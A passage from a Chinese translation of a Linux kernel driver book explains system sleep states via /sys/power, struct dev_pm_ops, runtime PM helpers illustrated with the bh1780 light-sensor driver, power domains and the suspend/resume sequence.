此驱动会显示需要冷却的跳闸点,但也会提供与传感器相关的冷却设备列表。 热工流程的设计是通过热区驱动器获得温度,然后通过热调速器进行决策,最后通过热冷却的方式进行温度控制。 有关这方面的更多信息,请参阅内核源代码`Documentation/thermal/sysfs- api.txt`中的热 sysfs 文档。 此外,可以在设备树中执行热区描述、跳闸点定义和冷却设备绑定,源代码中的相关文档为`Documentation/devicetree/bindings/thermal/thermal.txt`。 - -## 系统电源管理休眠状态 - -系统电源管理针对整个系统。 其目的是将其置于低功率状态。 在这种低功耗状态下,系统消耗的电量很少,但对用户的响应延迟却相对较低。 电源和响应延迟的确切数量取决于系统所处的睡眠状态的深度。 这也称为静态电源管理,因为它在系统长时间处于非活动状态时被激活。 - -系统可以进入的状态取决于底层平台,并且在不同的体系结构,甚至同一体系结构的世代或家族之间也会有所不同。 然而,在大多数平台上有四种常见的睡眠状态。 它们是挂起到空闲(也称为冻结)、开机待机(待机)、挂起到 RAM(内存)和挂起到磁盘(休眠)。 这些状态有时也由它们的 ACPI 状态引用:`S0`、`S1`、`S3`和`S4`: - -```sh -# cat /sys/power/state -freeze mem disk standby -``` - -`CONFIG_SUSPEND`是必须设置的内核配置选项,系统才能支持系统的电源管理休眠状态。 也就是说,除了*冻结*之外,每个休眠状态都是特定于平台的。 因此,要使平台支持其余三个状态中的任何一个,它必须向核心系统挂起子系统显式注册每个状态。 但是,对休眠的支持取决于其他内核配置选项,我们稍后将看到这一点。 - -重要音符 - -因为只有用户知道系统何时不会被使用(甚至不会使用用户代码,比如 GUI),所以系统电源管理操作总是从用户空间启动的。 内核对此一无所知。 这就是本节中的大部分内容使用`sysfs`和命令行处理 w 的原因。 - -### 挂起至空闲(冻结) - -这是最基本、最轻便的。 这种状态纯粹是软件驱动的,涉及到尽可能将 CPU 保持在其最深的空闲状态。 为此,冻结用户空间(冻结所有用户空间任务),并将所有 I/O 设备置于低功率状态(可能低于运行时的可用功率),以便处理器可以在其空闲状态中花费更多时间。 以下是使系统空闲的命令: - -```sh -$ echo freeze > /sys/power/state -``` - -前面的命令将系统置于空闲状态。 因为它是纯软件,所以始终支持此状态(假设设置了`CONFIG_SUSPEND`内核配置选项)。 此状态可用于没有开机挂起或挂起到内存支持的平台。 但是,正如我们稍后将看到的,除了挂起到 RAM 之外,还可以使用它来提供更短的恢复延迟。 - -重要音符 - -挂起到空闲等于冻结进程+挂起个设备+空闲处理器 - -### 开机待机(待机或开机挂起) - -除了冻结用户空间并将所有 I/O 设备置于低功率状态外,此状态执行的另一个操作是关闭所有非引导 CPU 的电源。 以下是使系统进入待机状态的命令(假设平台支持): - -```sh -$ echo standby > /sys/power/state -``` - -由于此状态比冻结状态走得更远,因此相对于*挂起到空闲*,它还允许节省更多能量,但恢复等待时间通常比 FREEZe 状态大,尽管它相当低。 - -### 挂起到内存(挂起,或内存) - -除了将系统中的所有内容置于低功耗状态之外,此状态还会进一步关闭所有 CPU,并将内存置于自刷新状态,以使其内容不会丢失,尽管可能会根据平台的能力进行其他操作。 响应延迟高于待机,但仍相当低。 在此状态下,系统和设备状态被保存并保存在内存中。 这就是为什么只有 RAM 完全运行的原因,因此有了状态名称: - -```sh -# echo mem > /sys/power/state -``` - -前面的命令应该将系统置于挂起到 RAM 状态。 但是,写入`mem`字符串时执行的实际操作由`/sys/power/mem_sleep`文件控制。 该文件包含一个字符串列表,其中每个字符串表示在将`mem`写入`/sys/power/state`之后系统可以进入的模式。 虽然并非所有模式都始终可用(取决于平台),但可能的模式包括: - -* `s2idle`:这相当于挂起到空闲。 因此,它始终可用。 -* `shallow`:这相当于开机挂起或待机。 它的可用性取决于平台对待机模式的支持。 -* `deep`:这是实际的挂起到 RAM 状态,其可用性取决于平台。 - -查询内容的示例如下所示: - -```sh -$ cat /sys/power/mem_sleep -[s2idle] deep -``` - -所选模式用方括号`[ ]`括起来。 如果平台不支持某一模式,则与其对应的字符串仍不会出现在`/sys/power/mem_sleep`中。 将`/sys/power/mem_sleep`中存在的其他字符串之一写入该字符串会导致随后使用的挂起模式更改为该字符串所表示的模式。 - -当系统启动时,默认的挂起模式(换句话说,不向`/sys/power/mem_sleep`写入任何内容的模式)是`deep`(如果支持挂起到 RAM)或`s2idle`,但它可以被内核命令行中的`mem_sleep_default`参数的值覆盖。 - -测试的一种方法是使用系统上可用的 RTC,假设它支持`wakeup alarm`功能。 您可以使用`ls /sys/class/rtc/`确定系统上的可用 RTC。 每个 RTC 都有一个目录(换句话说,`rtc0`和`rtc1`)。 对于支持`alarm`功能的`rtc`,在该`rtc`目录中将有一个`wakealarm`文件,该文件可用于配置报警,然后将系统挂起到 RAM: - -```sh -/* No value returned means no alarms are set */ -$ cat /sys/class/rtc/rtc0/wakealarm -/* Set the wakeup alarm for 20s */ -# echo +20 > /sys/class/rtc/rtc0/wakealarm -/* Now Suspend system to RAM */ # echo mem > /sys/power/state -``` - -在唤醒之前,您应该不会在控制台上看到进一步的活动。 - -### 挂起到磁盘(休眠) - -由于尽可能多地关闭系统电源(包括内存),此状态可提供最大的节能效果。 内存内容(快照)写入永久介质,通常是磁盘。 在此之后,内存和整个系统都会断电。 恢复时,快照被读回内存,系统从该休眠映像引导。 但是,此状态也是恢复时间最长的状态,但仍比执行完整(重新)引导序列更快: - -```sh -$ echo disk > /sys/power/state -``` - -将内存状态写入磁盘后,可以执行几个操作。 要执行的操作由`/sys/power/disk`文件及其内容控制。 该文件包含一个字符串列表,其中每个字符串表示在将系统状态保存到永久存储介质后(在实际保存休眠映像之后)可以执行的操作。 可能的操作包括以下几项: - -* `platform`:特定于定制和平台,可能需要固件(BIOS)干预。 -* `shutdown`:关闭系统电源。 -* `reboot`:重新启动系统(主要用于诊断)。 -* `suspend`:使系统进入通过前面描述的`mem_sleep`文件选择的挂起休眠状态。 如果系统从该状态成功唤醒,则休眠映像将被简单地丢弃,所有操作将继续。 否则,该映像将用于恢复系统以前的状态。 -* `test_resume`:这是为了进行系统恢复诊断。 加载映像,就好像系统刚刚从休眠中唤醒,并且当前运行的内核实例是还原内核,然后执行完全系统恢复。 - -但是,给定平台上支持的操作取决于`/sys/power/disk`文件的内容: - -```sh -$ cat /sys/power/disk -[platform] shutdown reboot suspend test_resume -``` - -选定的操作用方括号括起来,`[ ]`。 将其中一个列出的字符串写入此文件会导致选择它所代表的选项。 休眠是一项非常复杂的操作,它有自己的配置选项`CONFIG_HIBERNATION`。 必须设置此选项才能启用休眠功能。 也就是说,只有当对给定 CPU 体系结构的支持包括用于系统恢复的低级代码时,才能设置此选项(请参阅`ARCH_HIBERNATION_POSSIBLE`内核配置选项)。 - -要使挂起到磁盘工作,并根据休眠映像存储位置的不同,可能需要在磁盘上设置专用分区。 此分区也称为交换分区。 此分区用于将内存内容写入可释放的交换空间。 为了检查休眠是否按预期工作,通常尝试在`reboot`模式下休眠,如下所示: - -```sh -$ echo reboot > /sys/power/disk -# echo disk > /sys/power/state -``` - -第一个命令通知电源管理核心在创建休眠映像时应该执行什么操作。 在本例中,它是重新启动。 重新启动后,系统将从休眠映像恢复,您应该返回到开始转换的命令提示符。 这项测试的成功可能表明休眠最有可能正常工作。 那就是说,为了加强测试,应该做几次。 - -现在我们已经从运行的系统中完成了休眠状态管理,我们可以看看如何在驱动代码中实现它的支持。 - -# 向设备驱动添加电源管理功能 - -本身的设备驱动可以实现独特的电源管理功能,这称为运行时电源管理。 并非所有设备都支持运行时电源管理。 但是,那些这样做的人必须导出一些回调,以根据用户或系统的策略决策控制其电源状态。 正如我们在前面看到的,这是特定于设备的。 在本节中,我们将学习如何通过电源管理支持来扩展设备驱动功能。 - -虽然设备驱动提供运行时电源管理回调,但它们也通过提供另一组回调来促进和参与系统休眠状态,其中每组回调都参与特定的系统休眠状态。 每当系统需要进入给定的集合或从给定的集合恢复时,内核都会遍历为该状态提供回调的每个驱动,然后以精确的顺序调用它们。 简单地说,设备电源管理包括对设备所处状态的描述,以及用于控制这些状态的机制。 内核提供了对电源管理感兴趣的每个设备驱动/类/总线必须填充的`struct dev_pm_ops`,从而促进了这一点。 这允许内核与系统中的每个设备通信,而不考虑设备所在的总线或它所属的类。 让我们后退一步,记住 a`struct device`是什么样子的: - -```sh -struct device { -    [...] -    struct device *parent; -    struct bus_type *bus; -    struct device_driver *driver; -    struct dev_pm_info power; -    struct dev_pm_domain *pm_domain; -} -``` - -在前面的`struct device`数据结构中,我们可以看到设备既可以是子设备(其`.parent`字段指向另一个设备),也可以是设备父设备(当另一个设备的`.parent`字段指向它时),可以位于给定的总线后面,也可以属于给定的类,或者可以间接地属于给定的子系统。 此外,我们可以看到,设备可以是给定电源域的一部分。 `.power`字段为`struct dev_pm_info`类型。 主要保存 PM 相关的状态,如当前电源状态、是否能唤醒、是否已准备好、是否已挂起等。 由于涉及的内容太多,我们在使用时会详细讲解。 - -为了让设备在子系统级别或设备驱动级别参与电源管理,其驱动需要通过定义和填充`include/linux/pm.h`中定义的`struct dev_pm_ops`类型的对象来实现一组设备电源管理操作,如下所示: - -```sh -struct dev_pm_ops { -    int (*prepare)(struct device *dev); -    void (*complete)(struct device *dev); -    int (*suspend)(struct device *dev); -    int (*resume)(struct device *dev); -    int (*freeze)(struct device *dev); -    int (*thaw)(struct device *dev); -    int (*poweroff)(struct device *dev); -    int (*restore)(struct device *dev); -    [...] -    int (*suspend_noirq)(struct device *dev); -    int (*resume_noirq)(struct device *dev); -    int (*freeze_noirq)(struct device *dev); -    int (*thaw_noirq)(struct device *dev); -    int (*poweroff_noirq)(struct device *dev); -    int (*restore_noirq)(struct device *dev); -    int (*runtime_suspend)(struct device *dev); -    int (*runtime_resume)(struct device *dev); -    int (*runtime_idle)(struct device *dev); -}; -``` - -在前面的数据结构中,为了可读性,删除了`*_early()`和`*_late()`回调。 我建议您看一下完整的定义。 也就是说,鉴于回调的数量巨大,我们将在适当的时候在本章需要使用它们的部分描述它们。 - -重要音符 - -受 PCI 设备和 ACPI 规范的启发,设备电源状态有时称为*D*状态。 这些状态的范围从状态`D0`到`D3`,包括状态`D0`和`D3`。 虽然不是所有的设备类型都以这种方式定义电源状态 E,但是这种 REPR 指示可以映射到所有已知的设备类型。 - -## 实现运行时 PM 功能 - -运行时电源管理是针对每个设备的电源管理功能,允许特定设备在系统运行时控制其状态,而与全局系统无关。 驱动要实现运行时电源管理,应该只提供`struct dev_pm_ops`中整个回调列表的一个子集,如下所示: - -```sh -struct dev_pm_ops { -    [...] -    int (*runtime_suspend)(struct device *dev); -    int (*runtime_resume)(struct device *dev); -    int (*runtime_idle)(struct device *dev); -}; -``` - -内核还提供了`SET_RUNTIME_PM_OPS()`,它接受要填充到结构中的三个回调。 此宏的定义如下: - -```sh -#define SET_RUNTIME_PM_OPS(suspend_fn, resume_fn, idle_fn) \ -        .runtime_suspend = suspend_fn, \ -        .runtime_resume = resume_fn, \ -        .runtime_idle = idle_fn, -``` - -前面的回调是运行时电源管理中唯一涉及的回调,下面是它们必须执行的操作的说明: - -* `.runtime_suspend()`如有必要,必须记录设备的当前状态,并将设备置于静止状态。 此方法由 PM 在设备不使用时调用。 在其简单形式中,此方法必须将设备置于无法与 CPU 和 RAM 通信的状态。 -* 当设备必须处于完全功能状态时调用`.runtime_resume()`。 如果系统需要访问此设备,则可能会出现这种情况。 此方法必须恢复电源并重新加载任何所需的设备状态。 -* 当设备不再使用时,根据设备使用计数器(实际上是当它达到`0`时)以及活动子设备的数量,调用`.runtime_idle()`。 但是,此回调执行的操作是特定于驱动的。 在大多数情况下,如果满足某些条件,驱动会在设备上调用`runtime_suspend()`,或者调用`pm_schedule_suspend()`(为了设置计时器以在将来提交挂起请求而给出延迟),或者`pm_runtime_autosuspend()`(根据已经使用`pm_runtime_set_autosuspend_delay()`设置的延迟来安排将来的挂起请求)。 如果`.runtime_idle`回调不存在或返回`0`,PM 核心将立即调用`.runtime_suspend()`回调。 对于什么都不做的 PM 核心,`.runtime_idle()`必须返回一个非零值。 在这种情况下,驱动返回`-EBUSY`或`1`是很常见的。 - -回调实现后,可以在`struct dev_pm_ops`中回馈,如下例所示: - -```sh -static const struct dev_pm_ops bh1780_dev_pm_ops = { -    SET_SYSTEM_SLEEP_PM_OPS(pm_runtime_force_suspend, -                            pm_runtime_force_resume) -    SET_RUNTIME_PM_OPS(bh1780_runtime_suspend, -                           bh1780_runtime_resume, NULL) -}; -[...] -static struct i2c_driver bh1780_driver = { -    .probe = bh1780_probe, -    .remove = bh1780_remove, -    .id_table = bh1780_id, -    .driver = { -        .name = “bh1780”, -        .pm = &bh1780_dev_pm_ops, -        .of_match_table = of_match_ptr(of_bh1780_match), -    }, -}; -module_i2c_driver(bh1780_driver); -``` - -以上是 IIO 环境光传感器驱动`drivers/iio/light/bh1780.c`的摘录。 在这段摘录中,我们可以看到如何使用方便的宏来填充`struct dev_pm_ops`。 这里使用`SET_SYSTEM_SLEEP_PM_OPS`来填充系统休眠相关的宏,我们将在下一节中看到。 `pm_runtime_force_suspend`和`pm_runtime_force_resume`分别是 PM 核心公开以强制设备挂起和恢复的特殊帮助器。 - -### 驱动中任意位置的运行时 PM - -事实上,PM 核心使用两个计数器跟踪每个设备的活动。 第一个计数器是`power.usage_count`,它对设备的活动引用进行计数。 这些引用可以是外部引用,如打开的文件句柄,也可以是使用此引用的其他设备,也可以是用于使设备在操作期间保持活动状态的内部引用。 另一个计数器是`power.child_count`,它计算活动的子代的数量。 - -这些计数器从 PM 的角度定义给定设备的活动/空闲条件。 设备的活动/空闲状态是 PM 核心确定设备是否可访问的唯一可靠手段。 空闲状态是指设备使用计数递减到`0`,并且每当设备使用计数递增时都会出现活动状态(也称为恢复条件)。 - -在空闲情况下,PM 内核发送/执行空闲通知(即,将设备的`power.idle_notification`字段设置为`true`,调用总线类型/类别/设备`->runtime_idle()`回调,并再次将`.idle_notification`字段设置回`false`),以检查设备是否可以挂起。 如果不存在`->runtime_idle()`回调或返回`0`,PM 内核会立即调用`->runtime_suspend()`回调来挂起设备,之后将设备的`power.runtime_status`字段设置为`RPM_SUSPENDED`,这意味着设备挂起。 在恢复条件(设备使用计数递增)时,PM 核心将同步或异步地执行此设备的恢复(仅在特定条件下)。 请看一下`rpm_resume()`函数及其在`drivers/base/power/runtime.c`中的描述。 - -最初,对所有设备禁用运行时 PM。 这意味着,在为设备调用`pm_runtime_enable()`之前,在设备上调用大多数与 PM 相关的帮助器都将失败,这将启用此设备的运行时 PM。 尽管所有设备的初始运行时 PM 状态都是挂起的,但它不需要反映设备的实际物理状态。 因此,如果设备最初是活动的(换句话说,它能够处理 I/O),则必须在`pm_runtime_set_active()`的帮助下将其运行时 PM 状态更改为活动(这会将`power.runtime_status`设置为`RPM_ACTIVE`),并且如果可能,在为该设备调用`pm_runtime_enable()`之前,必须使用`pm_runtime_get_noresume()`增加其使用计数。 一旦设备完全初始化,您就可以对其调用`pm_runtime_put()`。 - -这里调用`pm_runtime_get_noresume()`的原因是,如果有对`pm_runtime_put()`的调用,则设备使用计数将返回零,这对应于空闲条件,然后执行空闲通知。 此时,您将能够检查是否已满足必要条件并挂起设备。 然而,如果初始设备状态是*禁用*,则不需要这样做。 - -还有`pm_runtime_get()`、`pm_runtime_get_sync()`、`pm_runtime_put_noidle()`和`pm_runtime_put_sync()`帮助器。 `pm_runtime_get_sync()`、`pm_runtime_get()`和`pm_runtime_get_noresume()`之间的区别在于,如果在设备使用计数已递增之后,活动/恢复条件匹配,则前者将同步(立即)执行设备恢复,而第二助手将异步执行(提交请求)。 第三个也是最后一个将在设备使用计数减少后立即返回(甚至不检查恢复条件)。 同样的机制适用于`pm_runtime_put_sync()`、`pm_runtime_put()`和`pm_runtime_put_noidle()`。 - -给定设备的活动子项的数量会影响此设备的使用计数。 通常情况下,需要父母来访问孩子,因此在孩子活动时关闭父母的电源会适得其反。 但是,有时在确定设备是否空闲时,可能需要忽略该设备的活动子设备。 I2C 总线就是一个很好的例子,在该总线上的设备(子级)处于活动状态时,总线可以报告为空闲。 对于这种情况,可以调用`pm_suspend_ignore_children()`以允许设备报告为空闲,即使它有活动的子项也是如此。 - -#### 运行时 PM 同步和异步操作 - -在上一节中,我们介绍了 PM 核心可以执行同步或异步 PM 操作的事实。 虽然同步操作很简单(方法调用是序列化的),但我们需要注意在 PM 上下文中异步调用时执行哪些步骤。 - -您应该记住,在异步模式下,会提交操作请求,或者立即调用此操作的处理程序。 它的工作方式如下: - -1. PM 核心将设备的`power.request`字段(类型为`enum rpm_request`)设置为要提交的请求类型(换言之,`RPM_REQ_IDLE`用于空闲通知请求,`RPM_REQ_SUSPEND`用于暂停请求,或者`RPM_REQ_AUTOSUSPEND`用于自动暂停请求),其对应于要执行的动作。 -2. PM 核心将设备的`power.request_pending`字段设置为`true`。 -3. PM 核心在全局 PM 相关工作队列中排队(计划稍后执行)设备的 RPM 相关工作(`power.work`,其工作函数是`pm_runtime_work()`;请参见`pm_runtime_init()`,其中初始化了它)。 -4. 当此工作有机会运行时,工作函数(即`pm_runtime_work()`)将首先检查设备(`if (dev->power.request_pending)`)上是否仍有请求挂起,并对设备的`power.request_pending`字段执行`switch ... case`,以便调用底层请求处理程序。 - -请注意,工作队列管理其自己的线程,这些线程可以运行计划的工作。 因为在异步模式下,处理程序是在工作队列中调度的,所以在原子上下文中调用异步 PM 相关帮助器是完全安全的。 例如,如果在 IRQ 处理程序中调用,它将等同于推迟 PM 请求处理。 - -#### 自动挂起 - -Autosuspend 是驱动使用的一种机制,这些驱动不希望设备在运行时一空闲就挂起,而是希望设备首先在特定的最小时间段内保持非活动状态。 - -在 RPM 上下文中,术语*autosuspend*并不意味着设备自动挂起。 取而代之的是基于计时器,该计时器在到期时将暂停请求排队。 该定时器实际上是设备的`power.suspend_timer`字段(请参见设置该定时器的`pm_runtime_init()`)。 调用`pm_runtime_put_autosuspend()`将启动计时器,而调用`pm_runtime_set_autosuspend_delay()`将设置由设备的`power.autosuspend_delay`字段表示的超时(尽管可以通过`/sys/devices/.../power/autosuspend_delay_ms`属性中的`sysfs`设置)。 - -此计时器也可由`pm_schedule_suspend()`帮助器使用,但参数延迟(在本例中将优先于`power.autosuspend_delay`字段中设置的参数),之后将提交挂起请求。 您可以将此计时器视为可用于在计数器达到零和设备被视为空闲之间增加延迟。 这对于与打开或关闭相关的高成本设备非常有用。 - -为了使用`autosuspend`,子系统或驱动必须调用`pm_runtime_use_autosuspend()`(最好在注册设备之前)。 该帮助器将设备的`power.use_autosuspend`字段设置为`true`。 在请求启用了自动暂停的设备后,您应该在此设备上调用`pm_runtime_mark_last_busy()`,这允许它将`power.last_busy`字段设置为当前时间(在`jiffies`中),因为此字段用于计算自动暂停的非活动时段(例如,`new_expire_time = last_busy + msecs_to_jiffies(autosuspend_delay)`)。 - -考虑到所有引入的运行时 PM 概念,现在让我们把放在一起,看看在真正的驱动中是如何完成任务的。 - -### 把这一切放在一起 - -如果没有真正的案例研究,前面关于运行时 PM 核心的理论研究就不那么有意义了。 现在是时候看看之前的概念是如何应用的了。 对于此案例研究,我们将选择`bh1780`Linux 驱动,这是一个**数字 16 位 I2C**环境光传感器。 该设备的驱动位于 Linux 内核源代码中的`drivers/iio/light/bh1780.c`。 - -首先,让我们看一下`probe`方法的摘录: - -```sh -static int bh1780_probe(struct i2c_client *client, -                        const struct i2c_device_id *id) -{ -    [...] -    /* Power up the device */ [...] -    pm_runtime_get_noresume(&client->dev); -    pm_runtime_set_active(&client->dev); -    pm_runtime_enable(&client->dev); -    ret = bh1780_read(bh1780, BH1780_REG_PARTID); -    dev_info(&client->dev, “Ambient Light Sensor, Rev : %lu\n”, -                 (ret & BH1780_REVMASK)); -    /* -     * As the device takes 250 ms to even come up with a fresh -     * measurement after power-on, do not shut it down      * unnecessarily. -     * Set autosuspend to five seconds. -     */ -    pm_runtime_set_autosuspend_delay(&client->dev, 5000); -    pm_runtime_use_autosuspend(&client->dev); -    pm_runtime_put(&client->dev); -    [...] -    ret = iio_device_register(indio_dev); -    if (ret) -        goto out_disable_pm; return 0; -out_disable_pm: -    pm_runtime_put_noidle(&client->dev); -    pm_runtime_disable(&client->dev); return ret; -} -``` - -在前面的片段中,出于可读性的考虑,只留下了与电源管理相关的调用。 首先,`pm_runtime_get_noresume()`将增加设备使用计数,而不携带设备的空闲通知(`_noidle`后缀)。 您可以使用`pm_runtime_get_noresume()`接口关闭运行时挂起功能或在设备挂起时使使用量计数为正,以避免由于运行时挂起而导致无法正常唤醒的问题。 然后,驱动中的下一行是`pm_runtime_set_active()`。 此辅助对象将设备标记为活动(`power.runtime_status = RPM_ACTIVE`),并清除设备的`power.runtime_error`字段。 此外,修改设备父设备的未挂起(活动)子项的计数器以反映新状态(它实际上是递增的)。 在设备上调用`pm_runtime_set_active()`将防止此设备的父设备在运行时挂起(假设父设备的运行时 PM 已启用),除非设置了父设备的`power.ignore_children`标志。 因此,一旦为设备调用了`pm_runtime_set_active()`,也应该在合理的情况下尽快调用`pm_runtime_enable()`。 调用此函数不是强制性的;它必须与 PM 核心和设备状态保持一致,假设初始状态为`RPM_SUSPENDED`。 - -重要音符 - -与`pm_runtime_set_active()`相反的是`pm_runtime_set_suspended()`,它将设备状态更改为`RPM_SUSPENDED`,并递减活动子级的父级计数器。 提交针对父对象的空闲通知请求。 - -`pm_runtime_enable()`是强制的运行时 PM 帮助器,它启用设备的运行时 PM,也就是说,在设备的`power.disable_depth`值大于`0`的情况下递减设备的`power.disable_depth`值。 作为信息,设备的`power.disable_depth`值在每次运行时 PM 帮助器调用时都会被检查,它的值必须是`0`才能使帮助器继续进行。 它的初始值是`1`,该值在调用`pm_runtime_enable()`时递减。 在错误路径上,调用`pm_runtime_put_noidle()`以使 PM 运行时计数器平衡,并且`pm_runtime_disable()`完全禁用设备上的运行时 PM。 - -正如您可能已经猜到的,该驱动还处理 IIO 框架,这意味着它公开 sysfs 中的条目,这些条目对应于它的物理转换通道。 读取与通道对应的 sysfs 文件将报告该通道产生的转换的数字值。 然而,对于`bh1780`,其驱动器中的通道读取入口点是`bh1780_read_raw()`。 此方法的摘录可在此处看到: - -```sh -static int bh1780_read_raw(struct iio_dev *indio_dev, -                           struct iio_chan_spec const *chan, -                           int *val, int *val2, long mask) -{ -    struct bh1780_data *bh1780 = iio_priv(indio_dev); -    int value; -    switch (mask) { -    case IIO_CHAN_INFO_RAW: -        switch (chan->type) { -        case IIO_LIGHT: -            pm_runtime_get_sync(&bh1780->client->dev); -            value = bh1780_read_word(bh1780, BH1780_REG_DLOW); -            if (value < 0) -                return value; -            pm_runtime_mark_last_busy(&bh1780->client->dev); -            pm_runtime_put_autosuspend(&bh1780->client->dev); -            *val = value; -            return IIO_VAL_INT; -        default: -            return -EINVAL; -    case IIO_CHAN_INFO_INT_TIME: -        *val = 0; -        *val2 = BH1780_INTERVAL * 1000; -        return IIO_VAL_INT_PLUS_MICRO; -    default: -        return -EINVAL; -    } -} -``` - -在这里,同样,只有运行时 PM 相关的函数调用值得我们关注。 在通道读取的情况下,调用前面的函数。 设备驱动必须指示设备对通道进行采样,以执行转换,转换结果将由设备驱动读取并报告给读取器。 问题是,设备可能处于挂起状态。 因此,因为驱动需要立即访问设备,所以驱动对其调用`pm_runtime_get_sync()`。 如果您还记得,此方法会递增设备使用计数,并对设备执行同步(`_sync`后缀)恢复。 设备恢复后,驱动可以与设备对话并读取转换值。 因为驱动支持 autosuspend,所以调用`pm_runtime_mark_last_busy()`是为了标记设备上次处于活动状态的时间。 这将更新用于自动暂停的计时器的超时值。 最后,驱动调用`pm_runtime_put_autosuspend()`,它将在自动暂停定时器到期后执行设备的运行时挂起,除非通过在某个地方调用`pm_runtime_mark_last_busy()`或在到期前再次进入读取功能(例如,在 sysfs 中读取通道)重新启动该定时器。 - -总而言之,在访问硬件之前,驱动可以使用`pm_runtime_get_sync()`恢复设备,当它使用完硬件时,驱动可以使用`pm_runtime_put_sync()`、`pm_runtime_put()`或`pm_runtime_put_autosuspend()`通知设备空闲(假设启用了 autosuspend,在这种情况下,必须事先调用`pm_runtime_mark_last_busy()`以更新 autosuspend 计时器的超时)。 - -最后,让我们将重点放在卸载模块时调用的方法上。 以下摘录只对与 PM 相关的呼叫感兴趣: - -```sh -static int bh1780_remove(struct i2c_client *client) -{ -    int ret; -    struct iio_dev *indio_dev = i2c_get_clientdata(client); -    struct bh1780_data *bh1780 = iio_priv(indio_dev); -    iio_device_unregister(indio_dev); -    pm_runtime_get_sync(&client->dev); -    pm_runtime_put_noidle(&client->dev); -    pm_runtime_disable(&client->dev); -    ret = bh1780_write(bh1780, BH1780_REG_CONTROL,                        BH1780_POFF); -    if (ret < 0) { -        dev_err(&client->dev, “failed to power off\n”); -        return ret; -    } -    return 0; -} -``` - -这里调用的第一个运行时 PM 方法是`pm_runtime_get_sync()`。 这个调用让我们猜测设备将被使用,也就是说,驱动需要访问硬件。 因此,该帮助器立即恢复设备(它实际上递增设备使用计数器并执行设备的同步恢复)。 在此之后,调用`pm_runtime_put_noidle()`以便在不携带空闲通知的情况下递减设备使用计数。 接下来,调用`pm_runtime_disable()`以禁用设备上的运行时 PM。 这将为设备增加`power.disable_depth`,如果之前为零,则取消该设备的所有挂起的运行时 PM 请求,并等待正在进行的所有操作完成,因此对于 PM 核心,该设备将不再存在(请记住,`power.disable_depth`将与 PM 核心的预期不符,这意味着在此设备上调用的任何进一步的运行时 PM 助手都将失败)。 最后,由于 i2c 命令关闭了设备的电源,之后其硬件状态将反映其运行时 PM 状态。 - -以下是适用于运行时 PM 回调和执行的一般规则: - -* `->runtime_idle()`和`->runtime_suspend()`只能对活动设备(状态为活动的设备)执行。 -* `->runtime_idle()`和`->runtime_suspend()`只能针对使用计数器等于零、活动子计数器等于零或设置了`power.ignore_children`标志的设备执行。 -* `->runtime_resume()`只能对挂起的设备(状态为*挂起*的设备)执行。 - -另外,PM 内核提供的 helper 函数遵循以下规则: - -* 如果`->runtime_suspend()`即将执行,或者有一个待执行的请求要执行,则不会为同一设备执行`->runtime_idle()`。 -* 执行或调度执行`->runtime_suspend()`的请求将取消对同一设备执行`->runtime_idle()`的任何待定请求。 -* 如果`->runtime_resume()`即将执行,或者有一个待执行的请求要执行,则不会为同一设备执行其他回调。 -* 执行`->runtime_resume()`的请求将取消任何挂起或计划的请求,以执行同一设备的其他回调(计划的自动暂停除外)。 - -前面的规则很好地指出了调用这些回调可能失败的原因。 从这些方面,我们还可以观察到服务于恢复或恢复请求的性能优于任何其他回调或请求。 - -### 电力域的概念 - -从技术上讲,POWER 域是一组共享电源资源(例如,时钟或电源平面)的设备。 从内核的角度来看,电源域是一组设备,它们的电源管理在子系统级别使用相同的回调集和公共 PM 数据。 从硬件角度来看,电源域是用于管理其电源电压相关的设备的硬件概念;例如,视频核心 IP 与显示 IP 共享电源线。 - -由于 SoC 设计更加复杂,需要找到一种抽象方法,以便尽可能保持驱动的通用性;然后,`genpd`问世了。 这代表通用电源域。 它是一个 Linux 内核抽象,将每个设备的运行时电源管理扩展到一组共享电源轨的设备。 此外,电源域被定义为设备树的一部分,其中描述了设备和电源控制器之间的关系。 这样就可以动态地重新设计电源域,无需重新启动整个系统或重新构建新内核,驱动就可以进行调整。 - -它的设计目的是,如果设备存在电源域对象,则其 PM 回调优先于总线类型(或设备类或类型)回调。 在内核源代码的`Documentation/devicetree/bindings/power/power_domain.txt`中可以找到有关这方面的通用文档,与 SoC 相关的文档也可以在同一目录中找到。 - -## 系统暂停和恢复序列 - -`struct dev_pm_ops`数据结构的引入在某种程度上促进了对 PM 核心在暂停或恢复阶段执行的步骤和动作的的理解,这些步骤和动作可以概括如下: - -```sh -“prepare —> Suspend —> suspend_late —> suspend_noirq” -          |---------- Wakeup ----------| -“resume_noirq —> resume_early —> resume -> complete” -``` - -前面是`include/linux/suspend.h`中定义的`enum suspend_stat_step`中列举的完整系统 PM 链。 此流应该会让您想起`struct dev_pm_ops`数据结构。 - -在 Linux 内核代码中,`enter_state()`是由系统电源管理核心调用以进入系统休眠状态的函数。 现在让我们花点时间来了解一下在系统挂起和恢复期间到底发生了什么。 - -### 暂停阶段 - -以下是`enter_state()`挂起时所经历的步骤: - -1. 如果没有设置`CONFIG_SUSPEND_SKIP_SYNC`内核配置选项,它首先在文件系统上调用`sync()`(参见`ksys_sync()`)。 -2. 它调用挂起通知程序(当用户空间仍然存在时)。 请参考`register_pm_notifier()`,这是他们注册时使用的帮助器。 -3. 它冻结任务(参见`suspend_freeze_processes()`),从而冻结用户空间和内核线程。 如果未在内核配置中设置`CONFIG_SUSPEND_FREEZER`,则跳过此步骤。 -4. 通过调用驱动注册的每个`.suspend()`回调来挂起设备。 这是暂停的第一阶段(见`suspend_devices_and_enter()`)。 -5. 它禁用设备中断(见`suspend_device_irqs()`)。 这可以防止设备驱动接收中断。 -6. 然后,发生挂起设备的第二阶段(调用`.suspend_noirq`回调)。 此步骤称为*noirq*阶段。 -7. 它禁用个非引导 CPU(使用 CPU 热插拔)。 CPU 调度器被告知在这些 CPU 离线之前不要调度它们上的任何东西(参见`disable_nonboot_cpus()`)。 -8. 它会关闭中断。 -9. 它执行系统核心回调(参见`syscore_suspend()`)。 -10. 它会让系统进入睡眠状态。 - -这是对系统进入睡眠之前执行的操作的粗略描述。 根据系统将要进入的睡眠状态,某些操作的行为可能会略有不同。 - -### 恢复阶段 - -一旦系统挂起(无论有多深),一旦发生唤醒事件,系统需要恢复。 以下是 PM 核心为唤醒系统而执行的步骤和操作: - -1. (唤醒信号。) -2. 运行 CPU 的唤醒代码。 -3. 执行系统核心回调。 -4. 打开中断。 -5. 启用非引导 CPU(使用 CPU 热插拔)。 -6. 恢复设备的第一阶段(`.resume_noirq()`回调)。 -7. 启用设备中断。 -8. 挂起设备的第二阶段(`.resume()`回调)。 -9. 解冻任务。 -10. 